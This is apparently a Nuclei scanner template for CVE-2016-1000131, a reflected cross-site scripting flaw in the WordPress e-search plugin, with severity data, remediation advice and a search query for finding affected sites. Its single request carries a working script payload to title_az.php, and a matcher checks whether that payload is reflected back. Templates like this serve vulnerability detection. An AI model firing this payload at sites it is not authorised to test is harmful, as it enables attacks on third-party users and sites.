id: CVE-2016-1000131

info:
  name: WordPress e-search <=1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress e-search 1.0 and before contains a reflected cross-site scripting vulnerability via title_az.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Update to the latest version of the WordPress e-search plugin to mitigate this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=393
    - https://wordpress.org/plugins/e-search
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000131
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000131
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40571
    cpe: cpe:2.3:a:e-search_project:esearch:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: e-search_project
    product: esearch
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/e-search"
  tags: cve,cve2016,wordpress,xss,wp-plugin

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200